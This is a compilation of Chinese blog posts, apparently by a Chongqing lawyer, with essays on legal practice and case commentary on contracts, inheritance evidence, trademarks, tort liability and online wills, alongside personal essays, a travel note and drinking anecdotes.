但是,这一次重装之后,我放弃了好几篇这种文章,因为它的内容并不是我自己的东西,也许我的编辑让别人得到方便,但是这种信息却不能代表个体,自己的观点与个性在它的内容上面无法体现出来。同样的时间,与其让这种内容的信息耗费掉,不如将自己混乱的念头通过书写整理出来。选择比行动更重要,在现实的生活与工作中,可以做的事很多,你可以选择做这样与那样,越多的想法往往会拖延行…

律师两则随感

律师随感录一法律法规统治着全国人民,统治意味着阶级斗争,这是胜利者的工具,最大多数人的利益受众者是胜利者,宪法与政治理论告诉我们的。生活中大多行为都与法律扯上了关系,律师者贩卖法律者也,头顶荆棘之冠,旁观者称赏,不能负了这个名号。我的记忆中,在拿执业证的时候,并没有宣誓的仪式,《律师法》里也没有规定要履行宣誓的义务,这是虚的东西,没有实质的意义,立法者也许这样考虑的。宣誓其实大有深意,我们没有在一种庄严肃穆的仪式中喊出那可贵的信念,虽然说不上是缺陷,但始终是一种遗憾。古时有出师祭旗,歃血为盟,现代社会更多的是依靠法律的约束。逐渐达到从行为上规范人内心的目的。英美港的仪式非常庄严认真,也许就像牧师的虔诚布道,这是一种对心灵的鞭笞,从执业之初就在心中埋下一颗种子,一种情感。虽然只有几分钟的过场,但它向世人作了重要的昭示。即使是虚无飘渺,也聊胜于无。任何一种职业的从业者,都可能将自己看作是某种信念的信徒,别人不给提供一种洗礼的场所,但自己内心却可以有不同的追求。从堕落中翻腾,于困扼中反击这个需要信念的支持。如僧侣历千山万水,箪食瓢饮,从最艰苦的境遇中修炼自己。他是为了什么,是什么让他如此执着,因为他想成为佛陀。时刻在独处的环境中自问,现在是如何,以后该如何。这是成长的开始,也是修行的源动力。每个法律职业者,初衷的坚定不容怀疑,只要踏入这个范围。生存中以求得升华,可能就是每日自然简单的经历。

律师随感录二
法律看似有形却无形,有形有载体彰显也它无孔不入的渗透力,无形的约束存在于规范与现实的来回穿梭,如果没有人的操作,它的存在只是一纸空文。每年都有新的规定出来,立法者有计划的实施着,同时也是社会变迁产生的任务,必须和发展相一致是这它繁杂的必然。烟海般的资料要去熟悉,大学的学习没有让我在意这个问题,切实的需求是动力的来源,直到实际的操作才逼迫着你不得不翻检令人枯萎的条款。也许从来没有从内心的爱,但它却时刻存在于我的需求中。从来不知接下来会碰到什么事情,知识的储备永远令人捉襟见肘。但是常常会有给人思考的余地,缓和一下馈乏的尴尬。要对一个看似简单的法律问题的解答,涉及的面却广而大。抓住事物的本质属性,掌握一个比较好的方法以快速进入状态是需要初入行者考虑的事。对法律实务的处理,收集相关依据为至关重要第一步,平时即应当尽可能地熟悉各类型纠纷所涉及的规范要件。如果不是非常熟悉就要善于快速寻…

为当事人拟定修改谈判合同的感想

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律师作为企业的法律顾问,日常法律服务工作中最多且很重要的就是替客户单位起草修改与谈判合同。合同的签订是双方利益妥协的结果。一般民事主体之间的合同关系最后都基本上会达到一个对双方来讲公平的结果。有些合同内容很多,动辄七八千上万字,比如建筑工程方面的合同,有些合同又十分简陋,当事人为了交易的简便,往往写一两句话就了事。在民事活动中,这两种交易现象,不能说孰优孰劣,在复杂的交易活动中就必须要有对全局的把握,对细节的描述。建筑活动本身涉及的钱多,关系复杂,利益冲突也多,因此国家指导性示范文本,非常全面,可以说事无巨细。这样对合同双方都是有切身的好处,明确双方的权利义务,规定各种交易过程的程序,时限,后果作合理的安排,对于事后处理起纠纷来说,有重要意义。而更多的合同关系产生于自然人之间的一些常见的法律关系。当事人一般为图省事就很随意的在纸上写几点东西,有时我们拿到这样的东西来打官司,脑袋确实会被搞大。较为简单的法律关系的合同在拟定修改与谈判中律师应当注意一些问题。如背景摸底,法律风险提示,在一定程度上尽力促成双方达成交易等。合同拟定与修改之初,进行背景摸底十分重要。背景摸底也可以称之为尽职调查,在非诉讼的法律业务中,为了出具一份经得起事实与法律检验的法律意见书,是要把目标公司或目标项目的祖宗全部请出来,做评估的,不厌其烦的对各方面的陈年旧帐进行爬梳调查,从法律角度对其合法合规性进行检验评价。对于普通的投资者来讲,他没有专业知识与充足的精力来作调查,但投资者的资金安全是首要的,包括主管机关对项目的风险控制,他们所依赖的东西就是各中介机构出具的专业性意见。投资者之所以将钱拿给别人用,其信任的来源也是各专业性的意见。法律意见书的内容,文字虽然干瘪,结论即使枯燥,但兹事体大,其中的每一句话都不能随意书写,更不能信口雌黄,必定是基于事实的真实情况和严谨的逻辑推理而来。一个房屋租赁合同,一单货物购销协议,一份离婚协议书不可与前面所述的法律意见书做过多比较。但是,虽然说从工作量的大小与广度上来看,法律意见书(一般指用于资本平台者)要复杂得多,但对于日常生活中常见的合同,仍然要求对合同的审核有全面性的要求。现在网络上现成的各种合同范本多如牛毛,任何一种类型的交易文本都能找得到。于是一些人对律师动不动就提出拟定修改合同要收成百上千的钱很不以为然。之前我遇到一个态度傲慢的当事人,对我提出的根据…

邻居与孩子

温暖的房间被凉爽的夜所包裹,在这漆黑的夜中传来此起彼伏的虫鸣与蛙噪,桌子上的纸边降落了一只小小的甲壳虫,静静的停在乳白色的灯光中,却不知道我正在注视着它,老家的环境是那么的静谧与舒心,似乎让我忘掉了一些事,同时让我期待着什么。

幼小的孩子无论再顽皮,做了什么错事,他总是天真的,不会有什么坏心眼,而大人如果跟一个一无所知的孩子动手动脚那就是素质上存在严重问题。今天晚上却遇到一件令我心情糟糕的事。让我对邻里之间的关系产生了挽惜,两家相隔不过数米,仅仅是因为小孩之间的顽耍却让一方家长对另一方小孩动起手来,并且导致小孩轻微受伤,双方家长进行激烈的争吵。

父亲闻讯后赶过去才得知,几个小孩在乡间的田坎上走路顽耍,小红(化名)不小心将小海(化名)挤下田坎,但并未摔伤,小海的母亲在地里干活发现自己儿子摔下去,便赶过来使劲拽着小红的手臂要求她把小海拉起来,本来只有五六岁的孩子,小红被弄痛了就哭了起来,小红的爷爷奶奶赶来,发现小红手臂以至于不能抬起来,可能是轻微的脱臼,双方便展开了激烈的争吵,后来我父亲将两家劝开,对小红爷爷说:“你老就是先生(医生),先给小红把手杆看看,不要跟他们一般见识,这件事确实是她不对,再怎么着也不能小娃儿动手,本来娃儿的膀子又嫩。”幸好小红的爷爷是我们当地的土医生,对跌打损伤接骨舒筋很有一套。于是拿出药酒瓶,把小红膀子捏了一捏,再擦上少许药酒,小孩子是不会装病的,刚才手臂还痛得拿不起来,现在就能抬起摸自己的脑壳,登时就和哥哥去玩耍,我父亲拿了点钱给小红爷爷说了几句安抚的话也走了。此事在父亲的调解下才算作一个了结,否则小红的父母知道此事,还不知要闹到哪步田地。

我对于这种父母是无法理喻的,如果自己的孩子确实受到其他孩子的伤害,倒是可以去理论,但都不应当报复在孩子身上,毕竟都是不懂事的稚子,何况自己的孩子本来并未受到什么伤害,母亲就强制另一个小孩去拉,并且将其手臂扯伤,造成轻微脱臼,这是任何一个明事理的成年人都不应该干的事。

而且这种事发生的情形并不少见,前不久看到重庆新闻报道,说小孩A在幼儿园里将小孩B的脸给抓伤,小孩B的父亲就气冲冲的跑到幼儿园按住A要求其跪到地上不许动,任何人也劝不住,后来打110才拉开。结果肇事者被行拘。

这些事从一方面反映了父母对子女的爱,但爱要有正确的方式。对子女的爱不能建立在对他人子女的伤害之上,即使因为子女受伤也不能用以牙还牙的…

游记:清游茶山与竹海

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端午之际除了粽子还有汲取了春的萌动的一波嫩芽,它淡青尖细,蓄足了爽劲,入口甘洌而微苦,这是蓬勃的生命带来的刺激,称之为秀芽,朴拙中流露华丽。品茶不仅要品口中之味,更要品自然的气息,斟酌品啜之间是享受,登山观赏不失为一种清修。
山既有茶且有竹,此二者均为植物中高雅人士,永川这个好地方,茶山竹海是可与外人道的。此处的竹子修长挺拔,匀称漂亮,为竹中之美男。远看稠密如海,近观疏朗可爱,吹风则绿浪荡漾,下雨则婆娑飒爽。幼为竹荪,和以肥猪肉,笋的清香与猪肉的荤厚,激发出的口感,令人肚肠欢快。成年竹子用途广泛,制作生活用具则实用健康、雕刻各种艺术品则古香古色。
登山爬山,要么登要么爬,手脚并用起来才对,如果一车坐上山去,那就是假打,而只用了眼睛看,这只是看山。看山也有看山的所得,登山爬山更有所得。于是我们决定爬上去,绕过景区收费站,找一条不要钱的山路上去。有人可以评价说,为了想白看,还故意把境界说得高大上。
我花了几要烟向几个搞施工的朋友打听虚实,哪里可能有道上去,大致情况摸清就起步。先围着一座山转一圈,爬上顶去看清方向,估计路线,马上下山潜入山坳,再翻过前面的山,就能成功越过景区收费站的封锁线,逐个的光顾里面的景致。不管有没有路,下到山坳看见有一池水乌黑,山前有路,顺藤摸瓜,要翻过山去,就先找往高处走的路,好走的路到了尽头,发现落满竹叶子与枯枝的丛林有人开辟过的痕迹,一头钻进去,身子左避右闪,脚板登手指抓,出一通汗后到了顶上,又是一片茶地,眼睛看了看方向,下面就是公路,分开长得紧密的茶树,到了最后却有一个两米高的坎,我们之中的L居然纵身跳了下去,并且还接住了他的妻,等他揉着脚后跟时,才发现两米开外的地方就是一个缓坡。
终于走上了平缓的公路,汽车呼呼的从旁边驶过,满载着交过费的旅客,有伸头看我们的,我们也看过去,双方心里都默默的用那两个字嘲笑着对方?
这次额外的收获是逮到一匹壁虎,追了两只竹鸡。
有一只壁虎纹丝不动的停在草丛中,我用塑料瓶静静的向它靠近,靠到杀伤范围突然将其摁倒在地,使之动弹不得,又用两个指头捏住它的尾巴,提了起来,它左右乱晃,断其尾摔落在地,就想逃跑,被L一脚踩住在地,一毫也动不了,防止它又使诈,我捏住了它更多的尾巴,正将其头送入瓶口,它用力一抖,尾巴又断了,身子顺势摔进瓶内,断了的大半截尾巴尚在我手中跳动,不过已将其困住并造成其重伤。
一段路后,我看到两只…

继承案件律师如何举证

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对于死亡人员的财产的继承处理,应当注意相关证据的提供,以下证据资料来自于莒县人民法院整理,很有指导指导意义:1、提供公安机关或所在单位出具的被继承人死亡证明书。2、被继承人生前户籍地、居住地、死亡地和主要遗产所在地的详细地址。3、被继承人遗产的种类、数量、金额、遗产由谁占有、使用、收益、保管的证明材料,如遗产清单、产权证书、发货票、证人证言等。4、遗产在家庭共有财产中或在其他形式共有财产中(如合伙财产等)的,应提供其他共有人的姓名、性别、年龄、住址;遗产在共有财产中的证据,如房屋产权证书、合伙协议等。合伙企业是否清算或营业,审计证明等。5、被继承人生前婚姻状况,生育和抚育子女的证明材料,被继承人的直系血亲、法律拟制血亲或与之有密切关系的旁系亲属的姓名、性别、年龄、工作单位和住址等证明材料,以及他们对被继承人所尽义务的证明材料。6、被继承人的妻子怀孕,应提供已怀孕的证据。7、被继承人无第一顺序继承人的,应提供第二顺序继承人的人数,各自与被继承人的关系的证明材料。被继承人的子女先于被继承人死亡的,应提供被继承人子女的晚辈直系血亲姓名、性别、年龄、工作单位及住址等情况。8、丧偶儿媳、丧偶女婿继承公婆、岳父母遗产的,应提供尽了主要赡养义务的证明材料。9、被继承人生前立有遗嘱的,应提供遗嘱原件。公证遗嘱的提供公证书,自书遗嘱的提供自书原件及能证明确系自书的证明材料。代书遗嘱、录音遗嘱、危急情况下所立的口头遗嘱要提供原件、录音或录像及与继承人、受遗赠人无利害关系的二人以上见证人的证明材料。10、提供立遗嘱人在立遗嘱时是否有民事行为能力,有无受胁迫、被欺骗情况的证明材料。11、被继承人生前立有遗赠抚养协议的,应提供遗赠抚养协议书,对被继承人尽抚养义务等证明材料。12、被继承人生前有债权、债务的,应提供详细的数额及借款凭证;提供债权人、债务人的姓名、性别、工作单位、住址等证明材料。13、继承人或受遗赠人有放弃继承权或受遗赠的,应提供放弃人的书面证明材料。你应如实提供证据材料或证据线索。你不能伪造、隐藏、毁灭证据,也不能指使、贿买他人作伪证,否则要承担法律责任。
来自于莒县人民法院

驰名商标不得再作于宣传之用

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商家的宣传中为了将其产品的优势地位体现出来,往往特别将“驰名”二字作为其宣传的筹码,从驰名商标的认定来看,《商标法》第十四条规定的内容,是从相关公众知晓程度、商标使用时间、商标的宣传情况、商标作为驰名商标受保护的记录这几个方面来进行认定。其实并不是商品品质衡量标准,只能说明其有较大的被公众知晓的程度。



对于同一种类的商品来讲,非驰名商品的品质并不一定比驰名商品的品质差,但如果商家特别在宣传的强调“驰名”二字,就会对公众产生一种误导,消费者就会潜移默化认为,驰名的总比不驰名的要好些,从而形成一种不正当的竞争。驰名商标的标识的认定是有法律的依据的,但却不能因为有法律的依据而扰乱市场的公平竞争的环境,市场的发展必须杜绝不正当竞争行为,这也是商标法立法的旨意。

其实早在2013年商标法修订之前,就已经出现过商家刻意于商标前添缀某些响亮的字眼以博取消费者眼球,从而排挤其它同类产品商家。比如曾经的茅台洒的宣传广告,就在茅台前面加上“国酒”二字,以“国酒茅台”对该酒进行特殊化宣传,中国人基本都知道,茅台酒的品质以及文化都是有历史沉淀的价值的,曾经有媒体撰文说:长征时,红军用茅台酒为伤员清洗伤口;新中国成立时,周恩来将其定为国洒以招待外宾;1972年尼克松访华,尼克松由于喝了过多的茅台而躺在沙发上显得眼神迷惘,从而对其待从说的不要和中国领导人推杯换盏的劝告置之不理;1979年邓小平访美,当时接待邓小平的总统卡特提出意见说,只要喝了足够多的茅台酒,可以解决任何问题。

这一个故事,当然能说明茅台酒在中国的地位,但是,如果商家将其作为“国酒茅台”进行宣传,那么其意义就不是简单的对中国酒文化的一种宣传了,而是一种对酒商家的一种不当竞争手段,试想,一国之酒,定是唯一的一种酒,只有绝顶好酒才配当此角色,如果市场上存在这种鲜明的标榜,则对其它酒的销售及其在大众心中的影响均有一定副面冲击,虽然茅台无论如何总是供不应求。但是商品如果在文化与政治地位上进行垄断是一种明显的不当竞争,应当予以禁止,而且确实国家也出具了相应禁止规定。

法律链接
《商标法》(2014年5月1日起施行)
第十四条第五款:生产、经营者不得将“驰名商标”字样用于商品、商品包装或者容器上,或者用于广告宣传、展览以及其他商业活动中。
第五十三条违反本法第十四条第五款规定的,由地方工商行政管理部门责令改正,处十万元罚款。

国家工商总局关于执…

安保义务人与第三人承担责任的情况

借鉴《人身损害赔偿司法解释》理解与适用整理:

放射源物质致人损害赔偿责任如何承担

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王某于5月7日上午8点左右,上班后发现公司焊接钢板的车间门口卫生状况不好,地上有少许垃圾,他就找来扫帚做清洁。当清洁到焊接车间门口时,发现地上有一个类似铁链(铱-192)的东西。他捡起来后,发现很沉,误以为是贵重物品,见四下无人,他就悄悄装入了上衣口袋后,继续干活了。当天中午11点半左右,他下班回家后,将捡来的“铁链”丢在了自家院子里。后来,听说警方正在到处寻找,并在周围地区展开大规模搜查行动,他有些害怕了。当天下班回家后,他一夜都没合眼,凌晨5点多,发现搜查人员暂时离开他家附近后,他就用蓝色塑料袋将捡来的“铁链”包好,悄悄出门扔到不远处的草丛内。而王某因身体受到辐射伤害,已被送往医院接受治疗。(事情来源于现代快报)

对于王某的因辐射伤害,所造成的医疗误工或工伤之损害,该如何请求赔偿?傅律师试作一分析:根据新闻报道,王某是在打扫清洁。对于作清洁的人员,正常情况下的行为过程应该是,将地上垃圾收集起来,然后倾倒到别处去。王某发现这个铁链,发觉很沉,认为是贵重物品,所以悄悄装入上衣口袋。这一情形,是否能认为王某对捡放射性物质有重大过失,适用
《侵权责任法》第75条规定,认定其为非法占有人,该第75条原文为:“非法占有高度危险物造成他人损害的,由非法占有人承担侵权责任。所有人、管理人不能证明对防止他人非法占有尽到高度注意义务的,与非法占有人承担连带责任。”分析可以得出,此条之非法占有人,不包括受害人自己,即如果受害人自己不是合法占有放射性物质,而受到伤害,并不适用该条规定。而新闻报道的,是王某虽然占有放射性物,但他也是受害者,因此,对于造成的损害赔偿,应当是适用
《侵权责任法》第72条之规定:“占有或者使用易燃、易爆、剧毒、放射性等高度危险物造成他人损害的,占有人或者使用人应当承担侵权责任,但能够证明损害是因受害人故意或者不可抗力造成的,不承担责任。被侵权人对损害的发生有重大过失的,可以减轻占有人或者使用人的责任。”王某认为这个东西是贵重物品,所有有非法占有的贪心,这一情况是否能认定其有“重大过失”而减轻赔偿责任?对于重大过失的认定,应当以普通人显然能够发现其中的危险性而仍然为之来判断,对于王某来说,作为普通人,显然不具备判断像“铁链”的东西为危害极大的放射性物质。对于王某虽然其认为是贵重物品而私藏,却不能以此认定其对于放射性物质的判断有重大过失。王某的损害,放射性物质的管理方…

货车翻倒后哄抢散落货物之无可奈何

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本文所讨论的只限于萝卜、白菜、柑橘、苹果等蔬菜水果或是牛奶制品其他零食等低值物品散落被不特定人员所哄抢的情况,如何看待这样一种现象,以怎样的角度去写这一个问题会有各种答案。

网络遗嘱的法律效力

网民花29元人民币即可以在一个名为“您的人生黑匣子-网络遗嘱”的网站上获得一个保管箱,可以将财务信息、遗嘱、未完成的愿望、生活足迹记录在上面,如果发生了意外事件,他们可以将你的信息传递出来。

可能是马航事故让这个网站火了一把,生命突然的消逝可以说是每个人都可能面临的悲哀,有不少网络年青达人嘅叹青春之短暂、生命之无常,遂将自己的一些私密,包括个人在网上的应用的账户及密码、想对别人说的悄悄话这些储存在该网站上。可能是因这一次马航事故,该网站特意说明可以在上面记录下自己的遗嘱,名为“网络遗嘱”。据我查询,它的whois信息,yizhu.cn注册于2008年10月8日,但网络遗嘱应当是在此次马航事故才特别受到了关注,不少媒体对它进行了报道,相关人员作了分析,有从法律角度的,也有从社会伦理角度的。大家热衷讨论的是:网络上所谓的遗嘱有没有法律效力,当然有不少法律专家提出了自己的观点,主要是从继承法角度提出的意见。法律派律师从网站看到这个话题,查看了一些报道,与相关的两部法律,遂也提出自己的意见。

我国关于遗嘱的法律主要是《继承法》,其中第十七条规定了以下几种遗嘱存在的形式:公证遗嘱、自书遗嘱、代书遗嘱、录音遗嘱、口头遗嘱。其中录音遗嘱属于视听资料,口头遗嘱需要见证人才能体现,另外公证遗嘱、自书遗嘱与代书遗嘱都以文本形式体现。

下面我只讨论以电子文本形式于互联网上体现出来所谓网络遗嘱的效力问题。上述公证自书代书遗嘱是由文字体现立遗嘱人的意思表示,而网络上的“遗嘱”也是以文本形式体现出来的撰文者的意思表示,单从文字本身的功能上来说,对个人的意思表示的呈现,纸质上的与网络上的完全是一样的效果。

文本对行为人的意思体现,从法律角度讲,需要行为人对文本进行签字盖章,如果不被行为人签字(捺印)盖章,就不是一个法律行为,无论该文本如何精确的反映了其真实的想法,都不可能在法律上被认可为具有法律效力。

《继承法》第17条列明的遗嘱形式中不包括“网络遗嘱”,但不能仅以此推理来否定网络遗嘱的法律效力。《继承法》立法时期,法律并未对电子数据作出界定,后来2004年我国颁布《电子签名法》针对日益繁荣起来的电商交易的民事活动所产生签名问题。到2013年《民事诉讼法》的修订才规定“电子数据”作为法定证据之一。

现在来讨论电子文本的法律效力问题,据修订的民事诉讼法,电子数据可以作为证据使用,但遗嘱是一个法律…

商品房逾期交房逾期办证纠纷顺利为当事人全额索赔

基本案情
蒋伟(化名)与其妻及子(原告)在重庆市南岸区某小区向重庆银港房地产开发公司(化名,,被告、以下简称“开发商”)购买一层商住两用商品房,房屋套数为15套,总价高达800余万元,买卖双方签订了重庆市商品房买卖合同,合同中详细约定了商品房交房日期,办理产权证日期以及相关的违约责任。届至合同约定交房日期,房屋开发商并未按约与蒋伟办理房屋交房手续,逾期天数达245日。在合同约定的办理产权证的日期,开发商仍未按约如期为蒋伟办理房屋产权证,逾期天数达88天。

之后蒋伟与开发商进行过多轮谈判交涉,开发商虽愿意支付违约金,但要求蒋伟放弃部分违约金,并且要求延长办证期限。另一方面,开发商则说,其根本不存在违约行为,理由有,一关于办证事宜,开发商并未违反相关法律法规规定的办证期限,二由于政府的城市规划变更导致办理产权证迟延,这是不可抗力因素,因此开发商并不存在违反合同的约定。

双方谈崩,蒋伟找到法律派律师,要本律师为其打官司,索赔违约金。
法律依据
《合同法》相关规定

《城市房地产管理法(2007年修正)》第五章 房地产权属登记管理第六十一条

《商品房销售管理办法》第五章 交付 第三十四条

《城市商品房预售管理办法》第十二条

《城市房地产开发经营管理条例》国务院令[1998]第248号第三十三条

《城市房屋权属登记管理办法》第十六条

《最高院商品房买卖合同司法解释》第十八条
律师攻略
1、明确诉讼请求项目,计算诉讼请求金额,做到有凭有据,实事求是。

a)请求有两项,一为逾期交房违约金,二为逾期办理产权证违约金。逾期交房违约金的计算相当清楚,根据合同约定的最后交付日期及实际交付日期确定。逾期办证日期就相对复杂,对于逾期办证,并不是只要超过合同约定或法律规定的日期就可以一直计算下去,商品房产权办理要根据其办理的流程具体分析的。一般来说开发商办理了预售许可证后,首先要办理初始登记,即大产权证,然后才可能办理分户产权证,即小产权证。因此计算逾期办证的逾期时间,应当从合同约定之日起计算至大产权证办理完毕,并向房产登记机构申请办理小产权证之日止,标准则以申请办理小产权证的房管局的受理通知单为凭。

b)针对该情况,本律师做相应的取证工作,去房管局调查涉案房屋的小产权证办理情况,明确逾期办证的期限。而逾期交房与逾期办证的违约金总额高达80余万元。

2、站在被告的角度考虑,做到知己知彼。

打一个…

一波三折的租赁物合同纠纷案

在2011年我承办了一件租赁物合同纠纷案,我代理被告,租赁关系发生在2006年,距起诉之日已逾六年之久,按时效算,没有特殊情况,被告在2011年起诉不会得到法院支持,但在当年,原告打被告出具一份该交易的欠款的书面证明,由被告加盖了公司公章。原告凭此证据及其它证据起诉到九龙坡法院,要求支付租金及按全部租赁物价值的赔偿金,总计达10万余元。注:租赁物为建筑施工所用脚手架之钢管与扣件。

该案涉及动产的租赁,租赁关系的结束标志是返还租赁物,付清租金,如有损失的即无法返还的,赔偿损失。当时双方签订的租赁协议中约定有一条,“出租方向承租方开具租赁业专用发票,作为双方结算依据,但不得作为承租方付款的凭证。”我估计原告代理人应该是以风险代理方式承办的,对于租赁物是否已经返还,虽然时间久远,但他们是很清楚的。原告的索赔过程,是先后向九龙坡区法院起诉三次。第一次是请求支付剩余租金及赔偿全部租赁物的价值损失,标的额10万余元,这次起诉到法院后,被告拿出了租赁结算单与结算发,原告见状当即撤回诉讼,表示要重新起诉。第二次原告诉讼请求就改变为剩余租金及按结算单及发票上记载的损失租赁物的价值,诉讼标的金额为6万余元,前后两次诉讼标的额差距近十万元。到了这一次诉讼,被告才聘请傅律师代理诉讼,我接手后,看离开庭时间还有一个工作日,而被告的关键证据(结算单与发票)竟然找不着了,我只有提出管辖权异议申请,以争取被告寻找证据的时间,无奈最后被告仍然没有找到,开庭时我向法院陈述:结算单原件及发票原件被告暂时还未找到,请法院再考虑给予一点时间。因为审判人员在第一次的庭审中是见过这两份证据原件的,如此重要的证据,被告不可能故意不向法庭出示。而原告代理人当庭表明,如果没有原件,马上撤诉,言下之意就要按第一次的金额(10万余元)再次重新起诉。果然,不出两个周的时间就收到法院开庭传票,诉讼金额就是第一次的金额,目的很明确,只要被告找不出原始凭据,就要硬吃接近十万的租赁物损失赔偿金。我督促当事人仔细回忆寻找那两份证据,同时向法院争取延期。到了开庭前大概一个周样子,被告终于找到了原件,我舒了一口气,立即将证据提交到法院,等待开庭那天。开庭时,原告代理人提出,被告举示的发票系伪造的,并拿出原告使用的公章的印模,一比对,从外形上观察,一为椭圆,一为正圆,明显不一样。我提出反驳意见:原告提供的比对印模根本不能达到比对效果,因为…

找关系的纠结

原告唯一的目的是想赢官司,被告的唯一目的是想原告输官司。这是很现实的利益冲突,在利益的面前有些感情往往不堪一击,虽然曾经一度关系真切,一旦走上法庭,普遍都想置对方于死地,这是人性原始的本能反应,是人性中的“逃跑欲望”与“征服欲望”在作怪。

打官司是让人身心俱累的事,所以有逃跑的冲动,又因为利益的原始驱动,所以想征服对手,律师总是卷入这种利益纠葛的旋涡中,能深切的体会到当事人那种本能的趋向。还好,我们算是处在一个有法可依的时代,任何时代的制度——除了马克思所说的共产主义社会外——都不可能是完美无暇的,尤其是法律制度,其本身便有固有的缺陷,如滞后性、谦抑性等。但至少来说,近改革开放二三十年的法治秩序应该是一年比一年好了,我相信它会慢慢走向让人从内心深处依赖的精神支柱,而律师行业也必将为大多数人越来越认可与理解。

因此对于有些当事人产生的“律师是吃了被告吃原告”的担忧,我从某种程度上予以理解,我理解的基础并不是因为它是众口一词的说词,而是对一定真相的感知。也许我作为这个职业的人,不应该表述下面的内容,但是所有的事与人难免会存在缺陷的地方,况且律师就是在博弈利益。我曾经听一位老律师说过:“那时,在行业内有一句话是‘法官是律师养,警察是妓女养’的说法。”年青的我当时听到这句话,感觉黑暗腐朽扑面而来,好像让我对社会的认识提升了一个境界似的。但是后来我看到了一些现象,觉得这个环境发生着变化。就在那一场红色运动的风波中,重庆成就了很多人,也掀翻了很多人。后来被成就的人又被掀翻,被掀翻的人又站了起来。重庆本土律师绝大多数其实都是局外人,也许是行业协会作了警示。但有个别律师与法官却因此受到牵连,要么是我供出了你,或者是你供出了我,都成了一根草上的蚂蚱。正是因为曾经的如糖似蜜,造就了今天的互相揭短,最终落得双双毁掉前程。这些事件,本身是促进了法治的进步,司法的腐败应当且必须根除,如果自己没有可授人以柄的毛病,即使普通大众受因袭意识的误导而产生错误判断,也不会对真实的现状造成实质的损害。随着时间的洗荡,人们总会慢慢改变那些认识的。

在我打过交道的各色有请律师需求的当事人中,有的是特意询问你是否在某机构有熟人,有的是在委托关系建立之后,在程序进行过程中提出请托找关系的要求。相对于法治发达的国家,中国历来的人治社会形成的凭关系办事的风气尤为浓重,有一句俗话讲“火到猪头烂,钱到公事办”就是生…

法律派博客建站故事

窗外是浓密的树阴与稠密的霏雨,我捏着笔写几点这个网站的关于。

  在比较久之前就有一个想建站的“故意”,也曾和朋友谈起过这个事,至今已逾大半年之久,如果这个动机不及早的行动,恐怕岁月磋砣,我的憧憬终究还是一个“未遂”。到目前为止,经过不少朋友的指导,与自己的误打误撞,多次更改与修改网站有点模样了,我憧憬的“既遂”却是一个苦逼事。在这期间自有苦逼之乐吧,时不我待,要捉住当下,我就来说说我这一点点历程。

酒话四则

其一
葡萄最佳的吃法莫过于把它酿成酒喝;或出题曰,最能长久保存葡萄的贮存方法是什么?

某F,一年一期的年饭必回家团,今年也不例外,肴馔的盛况并无新奇别致之处,不过干凉炖煮、无非鸡鸭鱼猪。

从来,F惟恐避之不及的就是酒,并不为它是“色媒人”的原因,总因他一喝即醉,一醉即睡之故。满桌子的菜自不必说,且说已倒上来的,玉液浓斟白瓷碗,精色荡漾琥珀光。一看便知有点意思,已巡到F面前,并不需劝,鼻子先闻闻,气味不算烈性,颜色酡红,一尝,是甜味,口干舌燥,正好解渴,款款喝着,不觉慢慢的放开了喉咙,几巡后,F大着舌头说“喝是好喝,美中不足的是太甜了。不知放了多少糖?”“放了七斤。”“不知葡萄有多少?”“葡萄有一框。”顺手向他背后一指,“就是这个缸子装的。”一看,果然与想象不同,口小肚大,能装一百斤酒,就在饭桌旁,F诧异,揭开看时,醇香扑鼻,缸底尚有一圈。说“有这么大一缸,又放在这么个地方,随时拿瓢勺起就吃,还是方便。”虽在调侃,不想F已开始醉起来了,待饭毕起身,早身不由己,踉跄回家,上床一觉,竟不知所之。
其二
人天性之嗜酒,猴亦然,曾闻某地野猴,因偶获高级动物之弃瓶,揭而喝之,觉其汁与野果山泉大异,既甘且酣,爽口兼美,飘飘然竟有不惧虎狼之态,每每三五日便心痒难搔,必窃居民佳酿饮之而后快,从此本地人即常患猴灾,此亦可佐证高级动物之演变。
其三
某君A,嗜酒成性,量如海,饮如牛,红啤皆嗤之以鼻,非二锅头之属不能稍尽其性。一日与友人自他乡归来,于肩背大包内暗藏散装二锅头五斤。及至安检时,机器报警,结论是五斤高度白酒,为乘车违禁品,要乘车必须没收。A一听,慌作一团,情急之下向安检人员说:“既然不让我带上车,那就让我喝了。”安检人员暗笑:“你喝两口倒无所谓。”正要递过去,早被A一把抢过来,一仰脖,只听咕嘟之声大作,只三两口,瓶中酒已少了一截,目测恐怕已有半斤下肚,安检人员见事不妙,恐此人胡来,便说要没收,A见他来夺,以障碍蔽体,一面躲闪,一面大喝不止,终究被拿住,瓶中其实已被喝去将近一半。酒被藏在室内后,安检人员仍不放心,恐其精神怕有些问题,便私下询问A的同伴,其同伴说:“你们不用担心,还没到他的量,平时稀稀松松,一顿是两斤。”安检人员正诧异不迭,忽听里面有响动之声,原来A趁安检疏忽之际,早溜了进去,正饮得尽兴,见人上来阻止夺取,遂放开喉咙,仰天海吞,及被夺下之时,唇边尚涓滴不止,五斤二锅头瞬间尚存二…

听歌遐想

声有五音,情或以抒发出来,宫商角徵羽在一段词中,总要有那么一两个字需要袅袅绕绕,颤颤悠悠,方才能给声音添附上基本颜色。音多幻化,境否则难以营造,虽由各种基本颜色渲染而成,但却非幻灯片的放映,也是被刀切过的豆腐,虽然看起来整齐,但却不浑然天成了。早上睡醒与自然接通的那一刻,听到了一声鸟的叫,它脆生生的。夜深人静时没有一切人没有任何光,在柔软枕头上的耳朵里钻进来的此起彼伏虫的叫,它亮闪闪的。猫的步伐狗的尾巴,它是柔和与亲切的。鱼的肚皮龙井茶水经过喉咙的一瞬间,让你丝滑般的感觉。其它的什么东西在某个片段给了你刺激,把这个刺激用声音唱出来就是境界。技巧有高低,境界有深浅。歌声于境之创造,因秉赋而异。技巧因锻炼可以纯青,最终形成个人特色而非超越别人;境界永远无法复制。清脆明亮的声色来源于天然生成,淳厚丰富的情感有奈年月的沉淀。

外婆的眼泪

春天又要来了,冬日的寒气尚未完全消退,稚嫩的太阳却慢慢的显现出火热的面庞。慢爬一段坡,急行几步路,背脊骨就感觉有点粘粘的湿热。街上有好些人已经将衬衫当外套,一堆一堆的人多了起来,都来感受这暖日的温度。
